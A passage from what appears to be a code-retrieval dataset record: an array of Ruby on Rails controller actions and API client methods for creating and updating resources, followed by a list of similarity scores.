redirect_to @control_tower, notice: 'Control tower was successfully created.' }\n format.json { render json: @control_tower, status: :created, location: @control_tower }\n else\n format.html { render action: \"new\" }\n format.json { render json: @control_tower.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @tools = @tool_type.tools\n end", "def create\n plant = Plant.create(plant_params)\n render json: plant, status: :created\n end", "def new\n @tool_specialty_option = ToolSpecialtyOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool_specialty_option }\n end\n end", "def suscriber_wm\n\t\turi = URI(\"http://staging.benchprep.com/api/v1/test/fixtures.json\")\t\n\n\t\tres = Net::HTTP.post_form(uri, 'email' => 'integration-tester+1@benchprep.com&enrollments_persona=subscriber&devices_persona=web_and_mobile')\n\t\t# write this output to a file\n\t\toutput = File.open( \"spec/fixtures/sp_wm_persona.json\",'w' ){|f| \n\t\t\tf.flock(File::LOCK_EX)\n\t\t\tf.write(res.body)\n\t\t}\n\n\t\t# Now parse this string as json\n\t\tjson = File.read('spec/fixtures/sp_wm_persona.json')\n\t\templs = JSON.parse(json)\n\n\t\treturn empls #pretty printed output\n\tend", "def update\n respond_to do |format|\n if @tool.update(tool_params)\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { render :show, status: :ok, location: @tool }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def json\n add option: \"-json\"\n end", "def create_agent_via_api(agent_type, opts = {})\n case agent_type\n when :person\n agent_json = if opts[:create_subrecords]\n build(:json_agent_person_full_subrec)\n else\n build(:json_agent_person)\n end\n url = URI(\"#{JSONModel::HTTP.backend_url}/agents/people\")\n when :corporate_entity\n agent_json = if opts[:create_subrecords]\n build(:json_agent_corporate_entity_full_subrec)\n else\n build(:json_agent_corporate_entity)\n end\n url = URI(\"#{JSONModel::HTTP.backend_url}/agents/corporate_entities\")\n when :family\n agent_json = if opts[:create_subrecords]\n build(:json_agent_family_full_subrec)\n else\n build(:json_agent_familly)\n end\n url = URI(\"#{JSONModel::HTTP.backend_url}/agents/families\")\n when :software\n agent_json = if opts[:create_subrecords]\n build(:json_agent_software_full_subrec)\n else\n build(:json_agent_software)\n end\n url = URI(\"#{JSONModel::HTTP.backend_url}/agents/software\")\n end\n\n response = JSONModel::HTTP.post_json(url, agent_json.to_json)\n json_response = ASUtils.json_parse(response.body)\n\n if json_response['status'] == 'Created'\n json_response['id']\n else\n -1\n end\nrescue StandardError => e\n -1\nend", "def create\n # JSONファイルから文字列を抽出する\n file = params['stage']['file']# Upされたファイルにアクセス\n \n p(\"file params:\")\n\n @jsonstring = file.read\n p(@jsonstring)\n @stage = Stage.new(:scene_data => @jsonstring, :title => params[:stage][:title])\n p(\"stage.scene_data:\")\n p(@stage.scene_data)\n #p(@stage.nothing)\n \n if params[:stage][:texture] != nil\n @textures = Texture.new(:data => params[:stage][:texture]['data'])\n @stage.textures << @textures\n end\n\n respond_to do |format|\n if @stage.save!\n format.html { redirect_to @stage, notice: 'Stage was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stage }\n else\n format.html { render action: 'new' }\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tool_to_site( site_id, page_title, tool_title, tool_id, layout_hints = \"0,0\")\n return true if find_tool_in_site( site_id, tool_id )\n\n add_page_to_site( site_id, page_title ) unless find_page_in_site( site_id, page_title )\n\n client = prepare_request( @service_wsdl )\n\n begin\n response = client.request :add_new_tool_to_page do |soap|\n soap.body = { :sessionid => @session,\n :siteid => site_id,\n :pagetitle => page_title,\n :tooltitle => tool_title,\n :toolid => tool_id,\n :layouthints => layout_hints}\n end\n rescue ArgumentError, \"Wasabi needs a WSDL document\"\n raise StandardError, \"Incorrect login url supplied.\"\n rescue Errno::ECONNREFUSED => error\n raise \"Server doesn't seem to be there: #{error.to_s}\"\n rescue Savon::SOAP::Fault => fault\n raise fault.to_s\n end\n\n\n\n ( response.to_hash[:add_new_tool_to_page_response][:add_new_tool_to_page_return] == \"success\" ) ? true : (return false)\n end", "def postToolsCurl( method, path, filedata, email)\n params = Hash.new\n params['method'] = method\n params['path'] = path\n params['filedata'] = filedata\n params['email'] = email\n return doCurl(\"post\",\"/tools/curl\",params)\n end", "def set_tool\n @tool = Tool.find(params[:id])\n end", "def web(_request, response)\n response.headers[\"Content-Type\"] = \"application/json\"\n json = MultiJson.dump(\n adapter: robot.config.robot.adapter,\n lita_version: Lita::VERSION,\n redis_memory_usage: redis_memory_usage,\n redis_version: redis_version,\n robot_mention_name: robot.mention_name,\n robot_name: robot.name\n )\n response.write(json)\n end", "def post()\n # construct arguments to fetch\n args = {\n method: 'post',\n credentials: 'include',\n headers: {'Content-Type' => 'application/json'},\n body: {\n project: @ppmc.id,\n ids: @ppmc.mentors.join(','),\n action: 'add',\n targets: ['ldap', 'ppmc', 'committer']\n }.inspect\n }\n\n @disabled = true\n Polyfill.require(%w(Promise fetch)) do\n @create_disabled = true\n fetch(\"actions/ppmc\", args).then {|response|\n content_type = response.headers.get('content-type') || ''\n if response.status == 200 and content_type.include? 'json'\n response.json().then do |json|\n self.update(json)\n end\n else\n alert \"#{response.status} #{response.statusText}\"\n end\n @create_disabled = false\n }.catch {|error|\n alert error\n @create_disabled = false\n }\n end\n end", "def getToolsReindex()\n params = Hash.new\n return doCurl(\"get\",\"/tools/reindex\",params)\n end", "def set_tool\n @tool = Tool.find(params[:id])\n end", "def set_tool\n @tool = Tool.find(params[:id])\n end", "def create\n byebug\n @admin_skill = Admin::Skill.new(admin_skill_params)\n\n if @admin_skill.save\n render json: @admin_skill, status: :created, location: @admin_skill\n else\n render json: @admin_skill.errors, status: :unprocessable_entity\n end\n end" ]
[ "0.68321866", "0.6619857", "0.6526994", "0.6496243", "0.6392198", "0.63159597", "0.62912834", "0.62893647", "0.62255645", "0.6137279", "0.61219615", "0.61205626", "0.607529", "0.603287", "0.58701736", "0.5859166", "0.5825459", "0.57570094", "0.57040054", "0.56979054", "0.5659803", "0.5659795", "0.5605747", "0.5599012", "0.5558297", "0.55191964", "0.5508611", "0.54606646", "0.5436808", "0.54329437", "0.5414957", "0.5365471", "0.53633523", "0.52769953", "0.5268913", "0.52520555", "0.5245368", "0.5228709", "0.52136225", "0.51975566", "0.5195512", "0.51904935", "0.51752084", "0.51723933", "0.5170689", "0.51340973", "0.51234186", "0.5114593", "0.5087539", "0.5087522", "0.50862163", "0.50847214", "0.50728863", "0.50523", "0.50523", "0.50523", "0.50523", "0.5022795", "0.501586", "0.5012263", "0.50098956", "0.50092137", "0.50035876", "0.4980622", "0.4956387", "0.4954313", "0.49516365", "0.49310595", "0.4925705", "0.4922661", "0.48904416", "0.48897693", "0.48885232", "0.48881143", "0.487939", "0.48791268", "0.48724052", "0.48632702", "0.48614225", "0.48545206", "0.48500943", "0.4849058", "0.484712", "0.48466647", "0.4842673", "0.48365155", "0.4824116", "0.48148733", "0.48028448", "0.47997043", "0.47976166", "0.4797317", "0.47970974", "0.47951517", "0.47896302", "0.4789258", "0.47882214", "0.47853515", "0.47853515", "0.4781056" ]
0.6519476
3
PATCH/PUT /tools/1 PATCH/PUT /tools/1.json
def update respond_to do |format| if @tool.update(tool_params) format.html { redirect_to @tool, notice: 'Tool was successfully updated.' } format.json { render :show, status: :ok, location: @tool } else format.html { render :edit } format.json { render json: @tool.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tool = Tool.find(params[:id])\n @user = current_user\n @tool.user_id = @user.id\n @user.tools << @tool\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tool.update(tool_params)\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { render :show, status: :ok, location: @tool }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tool.update(tool_params)\n format.html { redirect_to @tool; gflash :success => 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update\n @breadcrumb = 'update'\n @tool = Tool.find(params[:id])\n @tool.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool,\n notice: (crud_notice('updated', @tool) + \"#{undo_link(@tool)}\").html_safe }\n format.json { head :no_content }\n else\n @companies = @tool.organization.blank? ? companies_dropdown : companies_dropdown_edit(@tool.organization)\n @offices = @tool.organization.blank? ? offices_dropdown : offices_dropdown_edit(@tool.organization_id)\n @products = @tool.organization.blank? ? products_dropdown : @tool.organization.products(:product_code)\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tool_part.update_attributes(params[:tool_part])\n format.html { redirect_to @tool_part, notice: I18n.t('controllers.update_success', name: @tool_part.class.model_name.human) }\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool_part.errors, status: :unprocessable_entity }\n format.xml { render xml: @tool_part.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tool_params\n params.require(:tool).permit(:name, :description, :def_tool_id)\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n respond_to do |format|\n if @tool_type.update(tool_type_params)\n format.html { redirect_to @tool_type, notice: 'Tool type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tool_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "def update!(**args)\n @reviewer = args[:reviewer] if args.key?(:reviewer)\n @tool = args[:tool] if args.key?(:tool)\n end", "def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def cmd_modify argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.modify(json, e)\n msg response\n return response\n end", "def update\n @tooling_specification = ToolingSpecification.find(params[:id])\n\n respond_to do |format|\n if @tooling_specification.update_attributes(params[:tooling_specification])\n format.html { redirect_to @tooling_specification, notice: 'Tooling specification was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tooling_specification.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n params[:project][:tools] ||= {}\n @project = @user.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to user_project_path(@project) } \n else\n format.html { render :action => \"edit\" } \n end\n end\n end", "def update!(**args)\n @automatic_resources = args[:automatic_resources] if args.key?(:automatic_resources)\n @create_time = args[:create_time] if args.key?(:create_time)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @disable_explanations = args[:disable_explanations] if args.key?(:disable_explanations)\n @display_name = args[:display_name] if args.key?(:display_name)\n @enable_access_logging = args[:enable_access_logging] if args.key?(:enable_access_logging)\n @enable_container_logging = args[:enable_container_logging] if args.key?(:enable_container_logging)\n @explanation_spec = args[:explanation_spec] if args.key?(:explanation_spec)\n @id = args[:id] if args.key?(:id)\n @model = args[:model] if args.key?(:model)\n @model_version_id = args[:model_version_id] if args.key?(:model_version_id)\n @private_endpoints = args[:private_endpoints] if args.key?(:private_endpoints)\n @service_account = args[:service_account] if args.key?(:service_account)\n @shared_resources = args[:shared_resources] if args.key?(:shared_resources)\n end", "def update\n authorize @s_tool\n files = @s_tool.s_tool_files\n files += s_tool_params[:s_tool_files] if s_tool_params[:s_tool_files]\n @s_tool.assign_attributes(s_tool_params)\n @s_tool.s_tool_files = files\n\n if params[:s_tool_files_remove]\n\n remain_files = @s_tool.s_tool_files\n\n params[:s_tool_files_remove].reverse_each do |file, state|\n if state.to_i == 1\n deleted_files = remain_files.delete_at(file.to_i)\n deleted_files.try(:remove!)\n end\n end\n\n @s_tool.remove_s_tool_files! if remain_files.empty?\n end\n respond_to do |format|\n if @s_tool.save\n format.html { redirect_back_or_default s_tools_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @s_tool }\n else\n format.html { render :edit }\n format.json { render json: @s_tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n end", "def patch(path, opts = {})\n request(:patch, path, opts).body\n end", "def patch(path, **args); end", "def update\n respond_to do |format|\n if @compliance_tool.update(compliance_tool_params)\n format.html { redirect_to @compliance_tool, notice: 'Compliance tool was successfully updated.' }\n format.json { render :show, status: :ok, location: @compliance_tool }\n else\n format.html { render :edit }\n format.json { render json: @compliance_tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tool_specialty_option = ToolSpecialtyOption.find(params[:id])\n\n respond_to do |format|\n if @tool_specialty_option.update_attributes(params[:tool_specialty_option])\n format.html { redirect_to @tool_specialty_option, notice: 'Tool specialty option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool_specialty_option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tooling.update(tooling_params)\n format.html { redirect_to @tooling, notice: 'Tooling was successfully updated.' }\n format.json { render :show, status: :ok, location: @tooling }\n else\n format.html { render :edit }\n format.json { render json: @tooling.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update # PATCH\n raise NotImplementedError\n end", "def update!(**args)\n @resources = args[:resources] if args.key?(:resources)\n end", "def update!(**args)\n @resources = args[:resources] if args.key?(:resources)\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update!(**args)\n @request_id = args[:request_id] if args.key?(:request_id)\n @resource_info = args[:resource_info] if args.key?(:resource_info)\n @validate_only = args[:validate_only] if args.key?(:validate_only)\n end", "def update!(**args)\n @resource_type = args[:resource_type] if args.key?(:resource_type)\n @service = args[:service] if args.key?(:service)\n @version = args[:version] if args.key?(:version)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update!(**args)\n @api_version = args[:api_version] if args.key?(:api_version)\n @cancel_requested = args[:cancel_requested] if args.key?(:cancel_requested)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n @status_detail = args[:status_detail] if args.key?(:status_detail)\n @target = args[:target] if args.key?(:target)\n @verb = args[:verb] if args.key?(:verb)\n end", "def update\n @tower = Tower.find(params[:id])\n\n respond_to do |format|\n if @tower.update_attributes(params[:tower])\n format.html { redirect_to @tower, :notice => 'Tower was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @tower.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update!(**args)\n @attributes = args[:attributes] if args.key?(:attributes)\n @resources = args[:resources] if args.key?(:resources)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n end", "def update\n @commander = Commander.find(params[:id])\n\n respond_to do |format|\n if @commander.update_attributes(params[:commander])\n format.html { redirect_to @commander, notice: 'Commander was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @commander.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request_for_change.set_manager(force: true)\n @request_for_change.set_security_officer(force: true)\n\n respond_to do |format|\n if @request_for_change.update(request_for_change_params)\n format.html { redirect_to edit_request_for_change_path(@request_for_change), notice: 'Request for change was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request_for_change.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end", "def update\n # cyber-dojo.sh does actual [update]\nend", "def update!(**args)\n @json_schemas = args[:json_schemas] if args.key?(:json_schemas)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @api = args[:api] if args.key?(:api)\n @destination = args[:destination] if args.key?(:destination)\n @extensions = args[:extensions] if args.key?(:extensions)\n @origin = args[:origin] if args.key?(:origin)\n @request = args[:request] if args.key?(:request)\n @resource = args[:resource] if args.key?(:resource)\n @response = args[:response] if args.key?(:response)\n @source = args[:source] if args.key?(:source)\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def patch(action, **args); end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @format = args[:format] if args.key?(:format)\n @json_path = args[:json_path] if args.key?(:json_path)\n @name = args[:name] if args.key?(:name)\n @priority = args[:priority] if args.key?(:priority)\n @type = args[:type] if args.key?(:type)\n end", "def update!(**args)\n @api_signatures = args[:api_signatures] if args.key?(:api_signatures)\n @unique_apis = args[:unique_apis] if args.key?(:unique_apis)\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n @need_help = NeedHelp.find(params[:id])\n\n respond_to do |format|\n if @need_help.update_attributes(params[:need_help])\n format.json {head :no_content}\n else\n format.json {render json: @need_help.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def put!\n request! :put\n end", "def update!(**args)\n @option = args[:option] if args.key?(:option)\n @scenario = args[:scenario] if args.key?(:scenario)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @api_client = args[:api_client] if args.key?(:api_client)\n @client = args[:client] if args.key?(:client)\n @client_states = args[:client_states] if args.key?(:client_states)\n @threat_info = args[:threat_info] if args.key?(:threat_info)\n end", "def edit_resource(type, id, data)\n bad_attrs = data_includes_invalid_attrs(data)\n\n if bad_attrs.present?\n msg = \"Attribute(s) '#{bad_attrs}' should not be specified for updating a server resource\"\n raise BadRequestError, msg\n end\n\n super\n end", "def update!(**args)\n @client_info = args[:client_info] if args.key?(:client_info)\n @details = args[:details] if args.key?(:details)\n @level = args[:level] if args.key?(:level)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n end", "def update!(**args)\n @applied_capabilities = args[:applied_capabilities] if args.key?(:applied_capabilities)\n @create_time = args[:create_time] if args.key?(:create_time)\n @creator = args[:creator] if args.key?(:creator)\n @date_options = args[:date_options] if args.key?(:date_options)\n @disable_time = args[:disable_time] if args.key?(:disable_time)\n @disabler = args[:disabler] if args.key?(:disabler)\n @display_hints = args[:display_hints] if args.key?(:display_hints)\n @id = args[:id] if args.key?(:id)\n @integer_options = args[:integer_options] if args.key?(:integer_options)\n @lifecycle = args[:lifecycle] if args.key?(:lifecycle)\n @lock_status = args[:lock_status] if args.key?(:lock_status)\n @properties = args[:properties] if args.key?(:properties)\n @publisher = args[:publisher] if args.key?(:publisher)\n @query_key = args[:query_key] if args.key?(:query_key)\n @schema_capabilities = args[:schema_capabilities] if args.key?(:schema_capabilities)\n @selection_options = args[:selection_options] if args.key?(:selection_options)\n @text_options = args[:text_options] if args.key?(:text_options)\n @update_time = args[:update_time] if args.key?(:update_time)\n @updater = args[:updater] if args.key?(:updater)\n @user_options = args[:user_options] if args.key?(:user_options)\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @type = args[:type] if args.key?(:type)\n end", "def update(options={})\n send(run_method, %{sh -c \"#{APT_GET} -qy update\"}, options)\n end", "def update!(**args)\n @create_application = args[:create_application] if args.key?(:create_application)\n @deploy = args[:deploy] if args.key?(:deploy)\n @open_evaluation_pipeline = args[:open_evaluation_pipeline] if args.key?(:open_evaluation_pipeline)\n @open_fine_tuning_pipeline = args[:open_fine_tuning_pipeline] if args.key?(:open_fine_tuning_pipeline)\n @open_generation_ai_studio = args[:open_generation_ai_studio] if args.key?(:open_generation_ai_studio)\n @open_genie = args[:open_genie] if args.key?(:open_genie)\n @open_notebook = args[:open_notebook] if args.key?(:open_notebook)\n @open_prompt_tuning_pipeline = args[:open_prompt_tuning_pipeline] if args.key?(:open_prompt_tuning_pipeline)\n @request_access = args[:request_access] if args.key?(:request_access)\n @view_rest_api = args[:view_rest_api] if args.key?(:view_rest_api)\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def update!(**args)\n @authentication_info = args[:authentication_info] if args.key?(:authentication_info)\n @authorization_info = args[:authorization_info] if args.key?(:authorization_info)\n @metadata = args[:metadata] if args.key?(:metadata)\n @method_name = args[:method_name] if args.key?(:method_name)\n @num_response_items = args[:num_response_items] if args.key?(:num_response_items)\n @request = args[:request] if args.key?(:request)\n @request_metadata = args[:request_metadata] if args.key?(:request_metadata)\n @resource_location = args[:resource_location] if args.key?(:resource_location)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @resource_original_state = args[:resource_original_state] if args.key?(:resource_original_state)\n @response = args[:response] if args.key?(:response)\n @service_data = args[:service_data] if args.key?(:service_data)\n @service_name = args[:service_name] if args.key?(:service_name)\n @status = args[:status] if args.key?(:status)\n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update!(**args)\n @applied_capabilities = args[:applied_capabilities] if args.key?(:applied_capabilities)\n @applied_label_policy = args[:applied_label_policy] if args.key?(:applied_label_policy)\n @create_time = args[:create_time] if args.key?(:create_time)\n @creator = args[:creator] if args.key?(:creator)\n @disable_time = args[:disable_time] if args.key?(:disable_time)\n @disabler = args[:disabler] if args.key?(:disabler)\n @display_hints = args[:display_hints] if args.key?(:display_hints)\n @fields = args[:fields] if args.key?(:fields)\n @id = args[:id] if args.key?(:id)\n @label_type = args[:label_type] if args.key?(:label_type)\n @learn_more_uri = args[:learn_more_uri] if args.key?(:learn_more_uri)\n @lifecycle = args[:lifecycle] if args.key?(:lifecycle)\n @lock_status = args[:lock_status] if args.key?(:lock_status)\n @name = args[:name] if args.key?(:name)\n @properties = args[:properties] if args.key?(:properties)\n @publish_time = args[:publish_time] if args.key?(:publish_time)\n @publisher = args[:publisher] if args.key?(:publisher)\n @revision_create_time = args[:revision_create_time] if args.key?(:revision_create_time)\n @revision_creator = args[:revision_creator] if args.key?(:revision_creator)\n @revision_id = args[:revision_id] if args.key?(:revision_id)\n @schema_capabilities = args[:schema_capabilities] if args.key?(:schema_capabilities)\n end", "def update!(**args)\n @collection_overrides = args[:collection_overrides] if args.key?(:collection_overrides)\n @credential = args[:credential] if args.key?(:credential)\n @custom_certificate_authority_roots = args[:custom_certificate_authority_roots] if args.key?(:custom_certificate_authority_roots)\n @description = args[:description] if args.key?(:description)\n @descriptor_url = args[:descriptor_url] if args.key?(:descriptor_url)\n @id = args[:id] if args.key?(:id)\n @insert_time = args[:insert_time] if args.key?(:insert_time)\n @labels = args[:labels] if args.key?(:labels)\n @name = args[:name] if args.key?(:name)\n @operation = args[:operation] if args.key?(:operation)\n @options = args[:options] if args.key?(:options)\n @self_link = args[:self_link] if args.key?(:self_link)\n end", "def update!(**args)\n @asset_set = args[:asset_set] if args.key?(:asset_set)\n @customer = args[:customer] if args.key?(:customer)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @status = args[:status] if args.key?(:status)\n end", "def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @artifact_uri = args[:artifact_uri] if args.key?(:artifact_uri)\n @automatic_resources = args[:automatic_resources] if args.key?(:automatic_resources)\n @container_spec = args[:container_spec] if args.key?(:container_spec)\n @dedicated_resources = args[:dedicated_resources] if args.key?(:dedicated_resources)\n @large_model_reference = args[:large_model_reference] if args.key?(:large_model_reference)\n @model_display_name = args[:model_display_name] if args.key?(:model_display_name)\n @shared_resources = args[:shared_resources] if args.key?(:shared_resources)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @annotations = args[:annotations] if args.key?(:annotations)\n @bare_metal_version = args[:bare_metal_version] if args.key?(:bare_metal_version)\n @binary_authorization = args[:binary_authorization] if args.key?(:binary_authorization)\n @cluster_operations = args[:cluster_operations] if args.key?(:cluster_operations)\n @control_plane = args[:control_plane] if args.key?(:control_plane)\n @create_time = args[:create_time] if args.key?(:create_time)\n @delete_time = args[:delete_time] if args.key?(:delete_time)\n @description = args[:description] if args.key?(:description)\n @endpoint = args[:endpoint] if args.key?(:endpoint)\n @etag = args[:etag] if args.key?(:etag)\n @fleet = args[:fleet] if args.key?(:fleet)\n @load_balancer = args[:load_balancer] if args.key?(:load_balancer)\n @local_name = args[:local_name] if args.key?(:local_name)\n @maintenance_config = args[:maintenance_config] if args.key?(:maintenance_config)\n @maintenance_status = args[:maintenance_status] if args.key?(:maintenance_status)\n @name = args[:name] if args.key?(:name)\n @network_config = args[:network_config] if args.key?(:network_config)\n @node_access_config = args[:node_access_config] if args.key?(:node_access_config)\n @node_config = args[:node_config] if args.key?(:node_config)\n @os_environment_config = args[:os_environment_config] if args.key?(:os_environment_config)\n @proxy = args[:proxy] if args.key?(:proxy)\n @reconciling = args[:reconciling] 